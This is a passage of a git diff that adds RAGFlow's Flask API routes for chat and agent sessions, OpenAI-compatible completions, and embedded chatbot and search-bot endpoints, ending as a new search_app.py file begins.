isinstance(cvs.dsl, str): + cvs.dsl = json.dumps(cvs.dsl, ensure_ascii=False) + + session_id = get_uuid() + canvas = Canvas(cvs.dsl, tenant_id, agent_id) + canvas.reset() + + cvs.dsl = json.loads(str(canvas)) + conv = {"id": session_id, "dialog_id": cvs.id, "user_id": user_id, "message": [{"role": "assistant", "content": canvas.get_prologue()}], "source": "agent", "dsl": cvs.dsl} + API4ConversationService.save(**conv) + conv["agent_id"] = conv.pop("dialog_id") + return get_result(data=conv) + + +@manager.route("/chats//sessions/", methods=["PUT"]) # noqa: F821 +@token_required +def update(tenant_id, chat_id, session_id): + req = request.json + req["dialog_id"] = chat_id + conv_id = session_id + conv = ConversationService.query(id=conv_id, dialog_id=chat_id) + if not conv: + return get_error_data_result(message="Session does not exist") + if not DialogService.query(id=chat_id, tenant_id=tenant_id, status=StatusEnum.VALID.value): + return get_error_data_result(message="You do not own the session") + if "message" in req or "messages" in req: + return get_error_data_result(message="`message` can not be change") + if "reference" in req: + return get_error_data_result(message="`reference` can not be change") + if "name" in req and not req.get("name"): + return get_error_data_result(message="`name` can not be empty.") + if not ConversationService.update_by_id(conv_id, req): + return get_error_data_result(message="Session updates error") + return get_result() + + +@manager.route("/chats//completions", methods=["POST"]) # noqa: F821 +@token_required +def chat_completion(tenant_id, chat_id): + req = request.json + if not req: + req = {"question": ""} + if not req.get("session_id"): + req["question"] = "" + if not DialogService.query(tenant_id=tenant_id, id=chat_id, status=StatusEnum.VALID.value): + return get_error_data_result(f"You don't own the chat {chat_id}") + if req.get("session_id"): + if not ConversationService.query(id=req["session_id"], dialog_id=chat_id): + return get_error_data_result(f"You don't own the session {req['session_id']}") + if req.get("stream", True): + resp = Response(rag_completion(tenant_id, chat_id, **req), mimetype="text/event-stream") + resp.headers.add_header("Cache-control", "no-cache") + resp.headers.add_header("Connection", "keep-alive") + resp.headers.add_header("X-Accel-Buffering", "no") + resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8") + + return resp + else: + answer = None + for ans in rag_completion(tenant_id, chat_id, **req): + answer = ans + break + return get_result(data=answer) + + +@manager.route("/chats_openai//chat/completions", methods=["POST"]) # noqa: F821 +@validate_request("model", "messages") # noqa: F821 +@token_required +def chat_completion_openai_like(tenant_id, chat_id): + """ + OpenAI-like chat completion API that simulates the behavior of OpenAI's completions endpoint. + + This function allows users to interact with a model and receive responses based on a series of historical messages. + If `stream` is set to True (by default), the response will be streamed in chunks, mimicking the OpenAI-style API. + Set `stream` to False explicitly, the response will be returned in a single complete answer. + + Reference: + + - If `stream` is True, the final answer and reference information will appear in the **last chunk** of the stream. + - If `stream` is False, the reference will be included in `choices[0].message.reference`. + + Example usage: + + curl -X POST https://ragflow_address.com/api/v1/chats_openai//chat/completions \ + -H "Content-Type: application/json" \ + -H "Authorization: Bearer $RAGFLOW_API_KEY" \ + -d '{ + "model": "model", + "messages": [{"role": "user", "content": "Say this is a test!"}], + "stream": true + }' + + Alternatively, you can use Python's `OpenAI` client: + + from openai import OpenAI + + model = "model" + client = OpenAI(api_key="ragflow-api-key", base_url=f"http://ragflow_address/api/v1/chats_openai/") + + stream = True + reference = True + + completion = client.chat.completions.create( + model=model, + messages=[ + {"role": "system", "content": "You are a helpful assistant."}, + {"role": "user", "content": "Who are you?"}, + {"role": "assistant", "content": "I am an AI assistant named..."}, + {"role": "user", "content": "Can you tell me how to install neovim"}, + ], + stream=stream, + extra_body={"reference": reference} + ) + + if stream: + for chunk in completion: + print(chunk) + if reference and chunk.choices[0].finish_reason == "stop": + print(f"Reference:\n{chunk.choices[0].delta.reference}") + print(f"Final content:\n{chunk.choices[0].delta.final_content}") + else: + print(completion.choices[0].message.content) + if reference: + print(completion.choices[0].message.reference) + """ + req = request.get_json() + + need_reference = bool(req.get("reference", False)) + + messages = req.get("messages", []) + # To prevent empty [] input + if len(messages) < 1: + return get_error_data_result("You have to provide messages.") + if messages[-1]["role"] != "user": + return get_error_data_result("The last content of this conversation is not from user.") + + prompt = messages[-1]["content"] + # Treat context tokens as reasoning tokens + context_token_used = sum(len(message["content"]) for message in messages) + + dia = DialogService.query(tenant_id=tenant_id, id=chat_id, status=StatusEnum.VALID.value) + if not dia: + return get_error_data_result(f"You don't own the chat {chat_id}") + dia = dia[0] + + # Filter system and non-sense assistant messages + msg = [] + for m in messages: + if m["role"] == "system": + continue + if m["role"] == "assistant" and not msg: + continue + msg.append(m) + + # tools = get_tools() + # toolcall_session = SimpleFunctionCallServer() + tools = None + toolcall_session = None + + if req.get("stream", True): + # The value for the usage field on all chunks except for the last one will be null. + # The usage field on the last chunk contains token usage statistics for the entire request. + # The choices field on the last chunk will always be an empty array []. + def streamed_response_generator(chat_id, dia, msg): + token_used = 0 + answer_cache = "" + reasoning_cache = "" + last_ans = {} + response = { + "id": f"chatcmpl-{chat_id}", + "choices": [ + { + "delta": { + "content": "", + "role": "assistant", + "function_call": None, + "tool_calls": None, + "reasoning_content": "", + }, + "finish_reason": None, + "index": 0, + "logprobs": None, + } + ], + "created": int(time.time()), + "model": "model", + "object": "chat.completion.chunk", + "system_fingerprint": "", + "usage": None, + } + + try: + for ans in chat(dia, msg, True, toolcall_session=toolcall_session, tools=tools, quote=need_reference): + last_ans = ans + answer = ans["answer"] + + reasoning_match = re.search(r"(.*?)", answer, flags=re.DOTALL) + if reasoning_match: + reasoning_part = reasoning_match.group(1) + content_part = answer[reasoning_match.end() :] + else: + reasoning_part = "" + content_part = answer + + reasoning_incremental = "" + if reasoning_part: + if reasoning_part.startswith(reasoning_cache): + reasoning_incremental = reasoning_part.replace(reasoning_cache, "", 1) + else: + reasoning_incremental = reasoning_part + reasoning_cache = reasoning_part + + content_incremental = "" + if content_part: + if content_part.startswith(answer_cache): + content_incremental = content_part.replace(answer_cache, "", 1) + else: + content_incremental = content_part + answer_cache = content_part + + token_used += len(reasoning_incremental) + len(content_incremental) + + if not any([reasoning_incremental, content_incremental]): + continue + + if reasoning_incremental: + response["choices"][0]["delta"]["reasoning_content"] = reasoning_incremental + else: + response["choices"][0]["delta"]["reasoning_content"] = None + + if content_incremental: + response["choices"][0]["delta"]["content"] = content_incremental + else: + response["choices"][0]["delta"]["content"] = None + + yield f"data:{json.dumps(response, ensure_ascii=False)}\n\n" + except Exception as e: + response["choices"][0]["delta"]["content"] = "**ERROR**: " + str(e) + yield f"data:{json.dumps(response, ensure_ascii=False)}\n\n" + + # The last chunk + response["choices"][0]["delta"]["content"] = None + response["choices"][0]["delta"]["reasoning_content"] = None + response["choices"][0]["finish_reason"] = "stop" + response["usage"] = {"prompt_tokens": len(prompt), "completion_tokens": token_used, "total_tokens": len(prompt) + token_used} + if need_reference: + response["choices"][0]["delta"]["reference"] = chunks_format(last_ans.get("reference", [])) + response["choices"][0]["delta"]["final_content"] = last_ans.get("answer", "") + yield f"data:{json.dumps(response, ensure_ascii=False)}\n\n" + yield "data:[DONE]\n\n" + + resp = Response(streamed_response_generator(chat_id, dia, msg), mimetype="text/event-stream") + resp.headers.add_header("Cache-control", "no-cache") + resp.headers.add_header("Connection", "keep-alive") + resp.headers.add_header("X-Accel-Buffering", "no") + resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8") + return resp + else: + answer = None + for ans in chat(dia, msg, False, toolcall_session=toolcall_session, tools=tools, quote=need_reference): + # focus answer content only + answer = ans + break + content = answer["answer"] + + response = { + "id": f"chatcmpl-{chat_id}", + "object": "chat.completion", + "created": int(time.time()), + "model": req.get("model", ""), + "usage": { + "prompt_tokens": len(prompt), + "completion_tokens": len(content), + "total_tokens": len(prompt) + len(content), + "completion_tokens_details": { + "reasoning_tokens": context_token_used, + "accepted_prediction_tokens": len(content), + "rejected_prediction_tokens": 0, # 0 for simplicity + }, + }, + "choices": [ + { + "message": { + "role": "assistant", + "content": content, + }, + "logprobs": None, + "finish_reason": "stop", + "index": 0, + } + ], + } + if need_reference: + response["choices"][0]["message"]["reference"] = chunks_format(answer.get("reference", [])) + + return jsonify(response) + + +@manager.route("/agents_openai//chat/completions", methods=["POST"]) # noqa: F821 +@validate_request("model", "messages") # noqa: F821 +@token_required +def agents_completion_openai_compatibility(tenant_id, agent_id): + req = request.json + tiktokenenc = tiktoken.get_encoding("cl100k_base") + messages = req.get("messages", []) + if not messages: + return get_error_data_result("You must provide at least one message.") + if not UserCanvasService.query(user_id=tenant_id, id=agent_id): + return get_error_data_result(f"You don't own the agent {agent_id}") + + filtered_messages = [m for m in messages if m["role"] in ["user", "assistant"]] + prompt_tokens = sum(len(tiktokenenc.encode(m["content"])) for m in filtered_messages) + if not filtered_messages: + return jsonify( + get_data_openai( + id=agent_id, + content="No valid messages found (user or assistant).", + finish_reason="stop", + model=req.get("model", ""), + completion_tokens=len(tiktokenenc.encode("No valid messages found (user or assistant).")), + prompt_tokens=prompt_tokens, + ) + ) + + question = next((m["content"] for m in reversed(messages) if m["role"] == "user"), "") + + stream = req.pop("stream", False) + if stream: + resp = Response( + completionOpenAI( + tenant_id, + agent_id, + question, + session_id=req.pop("session_id", req.get("id", "")) or req.get("metadata", {}).get("id", ""), + stream=True, + **req, + ), + mimetype="text/event-stream", + ) + resp.headers.add_header("Cache-control", "no-cache") + resp.headers.add_header("Connection", "keep-alive") + resp.headers.add_header("X-Accel-Buffering", "no") + resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8") + return resp + else: + # For non-streaming, just return the response directly + response = next( + completionOpenAI( + tenant_id, + agent_id, + question, + session_id=req.pop("session_id", req.get("id", "")) or req.get("metadata", {}).get("id", ""), + stream=False, + **req, + ) + ) + return jsonify(response) + + +@manager.route("/agents//completions", methods=["POST"]) # noqa: F821 +@token_required +def agent_completions(tenant_id, agent_id): + req = request.json + + if req.get("stream", True): + + def generate(): + for answer in agent_completion(tenant_id=tenant_id, agent_id=agent_id, **req): + if isinstance(answer, str): + try: + ans = json.loads(answer[5:]) # remove "data:" + except Exception: + continue + + if ans.get("event") not in ["message", "message_end"]: + continue + + yield answer + + yield "data:[DONE]\n\n" + + resp = Response(generate(), mimetype="text/event-stream") + resp.headers.add_header("Cache-control", "no-cache") + resp.headers.add_header("Connection", "keep-alive") + resp.headers.add_header("X-Accel-Buffering", "no") + resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8") + return resp + + full_content = "" + reference = {} + final_ans = "" + for answer in agent_completion(tenant_id=tenant_id, agent_id=agent_id, **req): + try: + ans = json.loads(answer[5:]) + + if ans["event"] == "message": + full_content += ans["data"]["content"] + + if ans.get("data", {}).get("reference", None): + reference.update(ans["data"]["reference"]) + + final_ans = ans + except Exception as e: + return get_result(data=f"**ERROR**: {str(e)}") + final_ans["data"]["content"] = full_content + final_ans["data"]["reference"] = reference + return get_result(data=final_ans) + + +@manager.route("/chats//sessions", methods=["GET"]) # noqa: F821 +@token_required +def list_session(tenant_id, chat_id): + if not DialogService.query(tenant_id=tenant_id, id=chat_id, status=StatusEnum.VALID.value): + return get_error_data_result(message=f"You don't own the assistant {chat_id}.") + id = request.args.get("id") + name = request.args.get("name") + page_number = int(request.args.get("page", 1)) + items_per_page = int(request.args.get("page_size", 30)) + orderby = request.args.get("orderby", "create_time") + user_id = request.args.get("user_id") + if request.args.get("desc") == "False" or request.args.get("desc") == "false": + desc = False + else: + desc = True + convs = ConversationService.get_list(chat_id, page_number, items_per_page, orderby, desc, id, name, user_id) + if not convs: + return get_result(data=[]) + for conv in convs: + conv["messages"] = conv.pop("message") + infos = conv["messages"] + for info in infos: + if "prompt" in info: + info.pop("prompt") + conv["chat_id"] = conv.pop("dialog_id") + ref_messages = conv["reference"] + if ref_messages: + messages = conv["messages"] + message_num = 0 + ref_num = 0 + while message_num < len(messages) and ref_num < len(ref_messages): + if messages[message_num]["role"] != "user": + chunk_list = [] + if "chunks" in ref_messages[ref_num]: + chunks = ref_messages[ref_num]["chunks"] + for chunk in chunks: + new_chunk = { + "id": chunk.get("chunk_id", chunk.get("id")), + "content": chunk.get("content_with_weight", chunk.get("content")), + "document_id": chunk.get("doc_id", chunk.get("document_id")), + "document_name": chunk.get("docnm_kwd", chunk.get("document_name")), + "dataset_id": chunk.get("kb_id", chunk.get("dataset_id")), + "image_id": chunk.get("image_id", chunk.get("img_id")), + "positions": chunk.get("positions", chunk.get("position_int")), + } + + chunk_list.append(new_chunk) + messages[message_num]["reference"] = chunk_list + ref_num += 1 + message_num += 1 + del conv["reference"] + return get_result(data=convs) + + +@manager.route("/agents//sessions", methods=["GET"]) # noqa: F821 +@token_required +def list_agent_session(tenant_id, agent_id): + if not UserCanvasService.query(user_id=tenant_id, id=agent_id): + return get_error_data_result(message=f"You don't own the agent {agent_id}.") + id = request.args.get("id") + user_id = request.args.get("user_id") + page_number = int(request.args.get("page", 1)) + items_per_page = int(request.args.get("page_size", 30)) + orderby = request.args.get("orderby", "update_time") + if request.args.get("desc") == "False" or request.args.get("desc") == "false": + desc = False + else: + desc = True + # dsl defaults to True in all cases except for False and false + include_dsl = request.args.get("dsl") != "False" and request.args.get("dsl") != "false" + total, convs = API4ConversationService.get_list(agent_id, tenant_id, page_number, items_per_page, orderby, desc, id, user_id, include_dsl) + if not convs: + return get_result(data=[]) + for conv in convs: + conv["messages"] = conv.pop("message") + infos = conv["messages"] + for info in infos: + if "prompt" in info: + info.pop("prompt") + conv["agent_id"] = conv.pop("dialog_id") + # Fix for session listing endpoint + if conv["reference"]: + messages = conv["messages"] + message_num = 0 + chunk_num = 0 + # Ensure reference is a list type to prevent KeyError + if not isinstance(conv["reference"], list): + conv["reference"] = [] + while message_num < len(messages): + if message_num != 0 and messages[message_num]["role"] != "user": + chunk_list = [] + # Add boundary and type checks to prevent KeyError + if chunk_num < len(conv["reference"]) and conv["reference"][chunk_num] is not None and isinstance(conv["reference"][chunk_num], dict) and "chunks" in conv["reference"][chunk_num]: + chunks = conv["reference"][chunk_num]["chunks"] + for chunk in chunks: + # Ensure chunk is a dictionary before calling get method + if not isinstance(chunk, dict): + continue + new_chunk = { + "id": chunk.get("chunk_id", chunk.get("id")), + "content": chunk.get("content_with_weight", chunk.get("content")), + "document_id": chunk.get("doc_id", chunk.get("document_id")), + "document_name": chunk.get("docnm_kwd", chunk.get("document_name")), + "dataset_id": chunk.get("kb_id", chunk.get("dataset_id")), + "image_id": chunk.get("image_id", chunk.get("img_id")), + "positions": chunk.get("positions", chunk.get("position_int")), + } + chunk_list.append(new_chunk) + chunk_num += 1 + messages[message_num]["reference"] = chunk_list + message_num += 1 + del conv["reference"] + return get_result(data=convs) + + +@manager.route("/chats//sessions", methods=["DELETE"]) # noqa: F821 +@token_required +def delete(tenant_id, chat_id): + if not DialogService.query(id=chat_id, tenant_id=tenant_id, status=StatusEnum.VALID.value): + return get_error_data_result(message="You don't own the chat") + + errors = [] + success_count = 0 + req = request.json + convs = ConversationService.query(dialog_id=chat_id) + if not req: + ids = None + else: + ids = req.get("ids") + + if not ids: + conv_list = [] + for conv in convs: + conv_list.append(conv.id) + else: + conv_list = ids + + unique_conv_ids, duplicate_messages = check_duplicate_ids(conv_list, "session") + conv_list = unique_conv_ids + + for id in conv_list: + conv = ConversationService.query(id=id, dialog_id=chat_id) + if not conv: + errors.append(f"The chat doesn't own the session {id}") + continue + ConversationService.delete_by_id(id) + success_count += 1 + + if errors: + if success_count > 0: + return get_result(data={"success_count": success_count, "errors": errors}, message=f"Partially deleted {success_count} sessions with {len(errors)} errors") + else: + return get_error_data_result(message="; ".join(errors)) + + if duplicate_messages: + if success_count > 0: + return get_result(message=f"Partially deleted {success_count} sessions with {len(duplicate_messages)} errors", data={"success_count": success_count, "errors": duplicate_messages}) + else: + return get_error_data_result(message=";".join(duplicate_messages)) + + return get_result() + + +@manager.route("/agents//sessions", methods=["DELETE"]) # noqa: F821 +@token_required +def delete_agent_session(tenant_id, agent_id): + errors = [] + success_count = 0 + req = request.json + cvs = UserCanvasService.query(user_id=tenant_id, id=agent_id) + if not cvs: + return get_error_data_result(f"You don't own the agent {agent_id}") + + convs = API4ConversationService.query(dialog_id=agent_id) + if not convs: + return get_error_data_result(f"Agent {agent_id} has no sessions") + + if not req: + ids = None + else: + ids = req.get("ids") + + if not ids: + conv_list = [] + for conv in convs: + conv_list.append(conv.id) + else: + conv_list = ids + + unique_conv_ids, duplicate_messages = check_duplicate_ids(conv_list, "session") + conv_list = unique_conv_ids + + for session_id in conv_list: + conv = API4ConversationService.query(id=session_id, dialog_id=agent_id) + if not conv: + errors.append(f"The agent doesn't own the session {session_id}") + continue + API4ConversationService.delete_by_id(session_id) + success_count += 1 + + if errors: + if success_count > 0: + return get_result(data={"success_count": success_count, "errors": errors}, message=f"Partially deleted {success_count} sessions with {len(errors)} errors") + else: + return get_error_data_result(message="; ".join(errors)) + + if duplicate_messages: + if success_count > 0: + return get_result(message=f"Partially deleted {success_count} sessions with {len(duplicate_messages)} errors", data={"success_count": success_count, "errors": duplicate_messages}) + else: + return get_error_data_result(message=";".join(duplicate_messages)) + + return get_result() + + +@manager.route("/sessions/ask", methods=["POST"]) # noqa: F821 +@token_required +def ask_about(tenant_id): + req = request.json + if not req.get("question"): + return get_error_data_result("`question` is required.") + if not req.get("dataset_ids"): + return get_error_data_result("`dataset_ids` is required.") + if not isinstance(req.get("dataset_ids"), list): + return get_error_data_result("`dataset_ids` should be a list.") + req["kb_ids"] = req.pop("dataset_ids") + for kb_id in req["kb_ids"]: + if not KnowledgebaseService.accessible(kb_id, tenant_id): + return get_error_data_result(f"You don't own the dataset {kb_id}.") + kbs = KnowledgebaseService.query(id=kb_id) + kb = kbs[0] + if kb.chunk_num == 0: + return get_error_data_result(f"The dataset {kb_id} doesn't own parsed file") + uid = tenant_id + + def stream(): + nonlocal req, uid + try: + for ans in ask(req["question"], req["kb_ids"], uid): + yield "data:" + json.dumps({"code": 0, "message": "", "data": ans}, ensure_ascii=False) + "\n\n" + except Exception as e: + yield "data:" + json.dumps({"code": 500, "message": str(e), "data": {"answer": "**ERROR**: " + str(e), "reference": []}}, ensure_ascii=False) + "\n\n" + yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n" + + resp = Response(stream(), mimetype="text/event-stream") + resp.headers.add_header("Cache-control", "no-cache") + resp.headers.add_header("Connection", "keep-alive") + resp.headers.add_header("X-Accel-Buffering", "no") + resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8") + return resp + + +@manager.route("/sessions/related_questions", methods=["POST"]) # noqa: F821 +@token_required +def related_questions(tenant_id): + req = request.json + if not req.get("question"): + return get_error_data_result("`question` is required.") + question = req["question"] + industry = req.get("industry", "") + chat_mdl = LLMBundle(tenant_id, LLMType.CHAT) + prompt = """ +Objective: To generate search terms related to the user's search keywords, helping users find more valuable information. +Instructions: + - Based on the keywords provided by the user, generate 5-10 related search terms. + - Each search term should be directly or indirectly related to the keyword, guiding the user to find more valuable information. + - Use common, general terms as much as possible, avoiding obscure words or technical jargon. + - Keep the term length between 2-4 words, concise and clear. + - DO NOT translate, use the language of the original keywords. +""" + if industry: + prompt += f" - Ensure all search terms are relevant to the industry: {industry}.\n" + prompt += """ +### Example: +Keywords: Chinese football +Related search terms: +1. Current status of Chinese football +2. Reform of Chinese football +3. Youth training of Chinese football +4. Chinese football in the Asian Cup +5. Chinese football in the World Cup + +Reason: + - When searching, users often only use one or two keywords, making it difficult to fully express their information needs. + - Generating related search terms can help users dig deeper into relevant information and improve search efficiency. + - At the same time, related terms can also help search engines better understand user needs and return more accurate search results. + +""" + ans = chat_mdl.chat( + prompt, + [ + { + "role": "user", + "content": f""" +Keywords: {question} +Related search terms: + """, + } + ], + {"temperature": 0.9}, + ) + return get_result(data=[re.sub(r"^[0-9]\. ", "", a) for a in ans.split("\n") if re.match(r"^[0-9]\. ", a)]) + + +@manager.route("/chatbots//completions", methods=["POST"]) # noqa: F821 +def chatbot_completions(dialog_id): + req = request.json + + token = request.headers.get("Authorization").split() + if len(token) != 2: + return get_error_data_result(message='Authorization is not valid!"') + token = token[1] + objs = APIToken.query(beta=token) + if not objs: + return get_error_data_result(message='Authentication error: API key is invalid!"') + + if "quote" not in req: + req["quote"] = False + + if req.get("stream", True): + resp = Response(iframe_completion(dialog_id, **req), mimetype="text/event-stream") + resp.headers.add_header("Cache-control", "no-cache") + resp.headers.add_header("Connection", "keep-alive") + resp.headers.add_header("X-Accel-Buffering", "no") + resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8") + return resp + + for answer in iframe_completion(dialog_id, **req): + return get_result(data=answer) + + +@manager.route("/chatbots//info", methods=["GET"]) # noqa: F821 +def chatbots_inputs(dialog_id): + token = request.headers.get("Authorization").split() + if len(token) != 2: + return get_error_data_result(message='Authorization is not valid!"') + token = token[1] + objs = APIToken.query(beta=token) + if not objs: + return get_error_data_result(message='Authentication error: API key is invalid!"') + + e, dialog = DialogService.get_by_id(dialog_id) + if not e: + return get_error_data_result(f"Can't find dialog by ID: {dialog_id}") + + return get_result( + data={ + "title": dialog.name, + "avatar": dialog.icon, + "prologue": dialog.prompt_config.get("prologue", ""), + } + ) + + +@manager.route("/agentbots//completions", methods=["POST"]) # noqa: F821 +def agent_bot_completions(agent_id): + req = request.json + + token = request.headers.get("Authorization").split() + if len(token) != 2: + return get_error_data_result(message='Authorization is not valid!"') + token = token[1] + objs = APIToken.query(beta=token) + if not objs: + return get_error_data_result(message='Authentication error: API key is invalid!"') + + if req.get("stream", True): + resp = Response(agent_completion(objs[0].tenant_id, agent_id, **req), mimetype="text/event-stream") + resp.headers.add_header("Cache-control", "no-cache") + resp.headers.add_header("Connection", "keep-alive") + resp.headers.add_header("X-Accel-Buffering", "no") + resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8") + return resp + + for answer in agent_completion(objs[0].tenant_id, agent_id, **req): + return get_result(data=answer) + + +@manager.route("/agentbots//inputs", methods=["GET"]) # noqa: F821 +def begin_inputs(agent_id): + token = request.headers.get("Authorization").split() + if len(token) != 2: + return get_error_data_result(message='Authorization is not valid!"') + token = token[1] + objs = APIToken.query(beta=token) + if not objs: + return get_error_data_result(message='Authentication error: API key is invalid!"') + + e, cvs = UserCanvasService.get_by_id(agent_id) + if not e: + return get_error_data_result(f"Can't find agent by ID: {agent_id}") + + canvas = Canvas(json.dumps(cvs.dsl), objs[0].tenant_id) + return get_result(data={"title": cvs.title, "avatar": cvs.avatar, "inputs": canvas.get_component_input_form("begin"), "prologue": canvas.get_prologue(), "mode": canvas.get_mode()}) + + +@manager.route("/searchbots/ask", methods=["POST"]) # noqa: F821 +@validate_request("question", "kb_ids") +def ask_about_embedded(): + token = request.headers.get("Authorization").split() + if len(token) != 2: + return get_error_data_result(message='Authorization is not valid!"') + token = token[1] + objs = APIToken.query(beta=token) + if not objs: + return get_error_data_result(message='Authentication error: API key is invalid!"') + + req = request.json + uid = objs[0].tenant_id + + search_id = req.get("search_id", "") + search_config = {} + if search_id: + if search_app := SearchService.get_detail(search_id): + search_config = search_app.get("search_config", {}) + + def stream(): + nonlocal req, uid + try: + for ans in ask(req["question"], req["kb_ids"], uid, search_config=search_config): + yield "data:" + json.dumps({"code": 0, "message": "", "data": ans}, ensure_ascii=False) + "\n\n" + except Exception as e: + yield "data:" + json.dumps({"code": 500, "message": str(e), "data": {"answer": "**ERROR**: " + str(e), "reference": []}}, ensure_ascii=False) + "\n\n" + yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n" + + resp = Response(stream(), mimetype="text/event-stream") + resp.headers.add_header("Cache-control", "no-cache") + resp.headers.add_header("Connection", "keep-alive") + resp.headers.add_header("X-Accel-Buffering", "no") + resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8") + return resp + + +@manager.route("/searchbots/retrieval_test", methods=["POST"]) # noqa: F821 +@validate_request("kb_id", "question") +def retrieval_test_embedded(): + token = request.headers.get("Authorization").split() + if len(token) != 2: + return get_error_data_result(message='Authorization is not valid!"') + token = token[1] + objs = APIToken.query(beta=token) + if not objs: + return get_error_data_result(message='Authentication error: API key is invalid!"') + + req = request.json + page = int(req.get("page", 1)) + size = int(req.get("size", 30)) + question = req["question"] + kb_ids = req["kb_id"] + if isinstance(kb_ids, str): + kb_ids = [kb_ids] + if not kb_ids: + return get_json_result(data=False, message='Please specify dataset firstly.', + code=settings.RetCode.DATA_ERROR) + doc_ids = req.get("doc_ids", []) + similarity_threshold = float(req.get("similarity_threshold", 0.0)) + vector_similarity_weight = float(req.get("vector_similarity_weight", 0.3)) + use_kg = req.get("use_kg", False) + top = int(req.get("top_k", 1024)) + langs = req.get("cross_languages", []) + tenant_ids = [] + + tenant_id = objs[0].tenant_id + if not tenant_id: + return get_error_data_result(message="permission denined.") + + if req.get("search_id", ""): + search_config = SearchService.get_detail(req.get("search_id", "")).get("search_config", {}) + meta_data_filter = search_config.get("meta_data_filter", {}) + metas = DocumentService.get_meta_by_kbs(kb_ids) + if meta_data_filter.get("method") == "auto": + chat_mdl = LLMBundle(tenant_id, LLMType.CHAT, llm_name=search_config.get("chat_id", "")) + filters = gen_meta_filter(chat_mdl, metas, question) + doc_ids.extend(meta_filter(metas, filters)) + if not doc_ids: + doc_ids = None + elif meta_data_filter.get("method") == "manual": + doc_ids.extend(meta_filter(metas, meta_data_filter["manual"])) + if not doc_ids: + doc_ids = None + + try: + tenants = UserTenantService.query(user_id=tenant_id) + for kb_id in kb_ids: + for tenant in tenants: + if KnowledgebaseService.query(tenant_id=tenant.tenant_id, id=kb_id): + tenant_ids.append(tenant.tenant_id) + break + else: + return get_json_result(data=False, message="Only owner of knowledgebase authorized for this operation.", code=settings.RetCode.OPERATING_ERROR) + + e, kb = KnowledgebaseService.get_by_id(kb_ids[0]) + if not e: + return get_error_data_result(message="Knowledgebase not found!") + + if langs: + question = cross_languages(kb.tenant_id, None, question, langs) + + embd_mdl = LLMBundle(kb.tenant_id, LLMType.EMBEDDING.value, llm_name=kb.embd_id) + + rerank_mdl = None + if req.get("rerank_id"): + rerank_mdl = LLMBundle(kb.tenant_id, LLMType.RERANK.value, llm_name=req["rerank_id"]) + + if req.get("keyword", False): + chat_mdl = LLMBundle(kb.tenant_id, LLMType.CHAT) + question += keyword_extraction(chat_mdl, question) + + labels = label_question(question, [kb]) + ranks = settings.retrievaler.retrieval( + question, embd_mdl, tenant_ids, kb_ids, page, size, similarity_threshold, vector_similarity_weight, top, doc_ids, rerank_mdl=rerank_mdl, highlight=req.get("highlight"), rank_feature=labels + ) + if use_kg: + ck = settings.kg_retrievaler.retrieval(question, tenant_ids, kb_ids, embd_mdl, LLMBundle(kb.tenant_id, LLMType.CHAT)) + if ck["content_with_weight"]: + ranks["chunks"].insert(0, ck) + + for c in ranks["chunks"]: + c.pop("vector", None) + ranks["labels"] = labels + + return get_json_result(data=ranks) + except Exception as e: + if str(e).find("not_found") > 0: + return get_json_result(data=False, message="No chunk found! Check the chunk status please!", code=settings.RetCode.DATA_ERROR) + return server_error_response(e) + + +@manager.route("/searchbots/related_questions", methods=["POST"]) # noqa: F821 +@validate_request("question") +def related_questions_embedded(): + token = request.headers.get("Authorization").split() + if len(token) != 2: + return get_error_data_result(message='Authorization is not valid!"') + token = token[1] + objs = APIToken.query(beta=token) + if not objs: + return get_error_data_result(message='Authentication error: API key is invalid!"') + + req = request.json + tenant_id = objs[0].tenant_id + if not tenant_id: + return get_error_data_result(message="permission denined.") + + search_id = req.get("search_id", "") + search_config = {} + if search_id: + if search_app := SearchService.get_detail(search_id): + search_config = search_app.get("search_config", {}) + + question = req["question"] + + chat_id = search_config.get("chat_id", "") + chat_mdl = LLMBundle(tenant_id, LLMType.CHAT, chat_id) + + gen_conf = search_config.get("llm_setting", {"temperature": 0.9}) + prompt = load_prompt("related_question") + ans = chat_mdl.chat( + prompt, + [ + { + "role": "user", + "content": f""" +Keywords: {question} +Related search terms: + """, + } + ], + gen_conf, + ) + return get_json_result(data=[re.sub(r"^[0-9]\. ", "", a) for a in ans.split("\n") if re.match(r"^[0-9]\. ", a)]) + + +@manager.route("/searchbots/detail", methods=["GET"]) # noqa: F821 +def detail_share_embedded(): + token = request.headers.get("Authorization").split() + if len(token) != 2: + return get_error_data_result(message='Authorization is not valid!"') + token = token[1] + objs = APIToken.query(beta=token) + if not objs: + return get_error_data_result(message='Authentication error: API key is invalid!"') + + search_id = request.args["search_id"] + tenant_id = objs[0].tenant_id + if not tenant_id: + return get_error_data_result(message="permission denined.") + try: + tenants = UserTenantService.query(user_id=tenant_id) + for tenant in tenants: + if SearchService.query(tenant_id=tenant.tenant_id, id=search_id): + break + else: + return get_json_result(data=False, message="Has no permission for this operation.", code=settings.RetCode.OPERATING_ERROR) + + search = SearchService.get_detail(search_id) + if not search: + return get_error_data_result(message="Can't find this Search App!") + return get_json_result(data=search) + except Exception as e: + return server_error_response(e) + + +@manager.route("/searchbots/mindmap", methods=["POST"]) # noqa: F821 +@validate_request("question", "kb_ids") +def mindmap(): + token = request.headers.get("Authorization").split() + if len(token) != 2: + return get_error_data_result(message='Authorization is not valid!"') + token = token[1] + objs = APIToken.query(beta=token) + if not objs: + return get_error_data_result(message='Authentication error: API key is invalid!"') + + tenant_id = objs[0].tenant_id + req = request.json + + search_id = req.get("search_id", "") + search_app = SearchService.get_detail(search_id) if search_id else {} + + mind_map = gen_mindmap(req["question"], req["kb_ids"], tenant_id, search_app.get("search_config", {})) + if "error" in mind_map: + return server_error_response(Exception(mind_map["error"])) + return get_json_result(data=mind_map) diff --git a/api/apps/search_app.py b/api/apps/search_app.py new file mode 100644 index 0000000..e0002f8 --- /dev/null +++ b/api/apps/search_app.py @@ -0,0 +1,188 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of 